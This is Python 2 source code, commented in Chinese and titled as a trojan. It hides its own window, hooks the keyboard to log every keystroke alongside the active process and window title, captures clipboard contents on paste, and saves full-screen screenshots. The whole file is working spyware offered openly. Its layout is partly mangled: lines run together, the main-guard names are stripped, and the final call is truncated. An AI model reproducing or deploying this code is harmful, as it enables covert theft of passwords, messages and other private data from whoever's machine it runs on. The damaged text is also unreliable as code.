-- coding: UTF-8 --

实现木马程序

############################################################################## import time import win32gui import win32ui import win32con import win32api import pyHook import pythoncom import win32clipboard from ctypes import * import os

隐藏程序窗口

def hide(): whnd = win32gui.FindWindow(None, "Trojan") # 窗口的类名可以用Visual Studio的SPY++工具获得 if whnd != 0: # 获得程序主窗口的坐标 left, top, right, bottom = win32gui.GetWindowRect(whnd) # 调整程序窗口位置，使其移到屏幕外面 win32gui.SetWindowPos(whnd, win32con.HWND_TOPMOST, -3000, -3000, right - left, bottom - top, win32con.SWP_NOSIZE | win32con.SWP_SHOWWINDOW)

显示窗口

def show(): whnd = win32gui.FindWindow(None, "Trojan") if whnd != 0: # 获得程序主窗口的坐标 left, top, right, bottom = win32gui.GetWindowRect(whnd) # 调整程序窗口位置，使其回到屏幕内 win32gui.SetWindowPos(whnd, win32con.HWND_TOPMOST, (win32api.GetSystemMetrics(win32con.SM_CXSCREEN) - (right - left)) // 2, (win32api.GetSystemMetrics(win32con.SM_CYSCREEN) - (bottom - top)) // 2, right - left, bottom - top, win32con.SWP_SHOWWINDOW)

键盘事件处理函数

def key_event(event): global current_window, count

if event.WindowName != current_window:  # 检查目标是否切换了窗口
    current_window = event.WindowName
    get_current_process()

if 32 < event.Ascii < 127:  # 检查是否为常规按键
    print chr(event.Ascii),
else:
    if event.Key == "V":  # 如果是Ctrl+V，则获取剪贴板内容
        win32clipboard.OpenClipboard()
        pasted_value = win32clipboard.GetClipboardData()
        win32clipboard.CloseClipboard()
        print "[PASTE] - %s" % pasted_value,
    elif event.Key == "*":  # 如果是"*"键，则进行截图
        count += 1
        print "[SCREENSHOT] - %d" % count
        screen_shot()
    else:
        print "[%s]" % event.Key,

return True  # 返回到下一个钩子事件

获得当前进程信息

def get_current_process(): hwnd = user32.GetForegroundWindow() # 获得前台窗口句柄 pid = c_ulong(0) user32.GetWindowThreadProcessId(hwnd, byref(pid)) process_id = "%d" % pid.value # 获得进程PID

executable = create_string_buffer("\x00" * 512)
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)  # 获得进程名

window_title = create_string_buffer("\x00" * 512)
length = user32.GetWindowTextA(hwnd, byref(window_title), 512)  # 获得窗口名

print
print "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
print

kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)

截图函数

def screen_shot(): hdesktop = win32gui.GetDesktopWindow() # 获得桌面窗口句柄

# 获得显示器尺寸
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

desktop_dc = win32gui.GetWindowDC(hdesktop)  # 创建设备描述表
img_dc = win32ui.CreateDCFromHandle(desktop_dc)

mem_dc = img_dc.CreateCompatibleDC()  # 创建基于内存的设备描述表

screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height)  # 创建位图对象
mem_dc.SelectObject(screenshot)
mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)  # 复制屏幕

# 保存到文件
screenshot.SaveBitmapFile(mem_dc, 'C:/screen.bmp')

# 内存释放
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())

键盘记录函数

def key_logger(): hooker = pyHook.HookManager() # 创建钩子函数管理器 hooker.KeyDown = key_event # 注册钩子按键事件的处理函数 hooker.HookKeyboard() # 创建键盘钩子 pythoncom.PumpMessages()

if name == 'main': # 隐藏窗口 hide()

current_window = None
count = 0

# 获取当前进程信息
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
get_current_process()

# 启动键盘记录函数
key_logger()

# 显示窗口
show(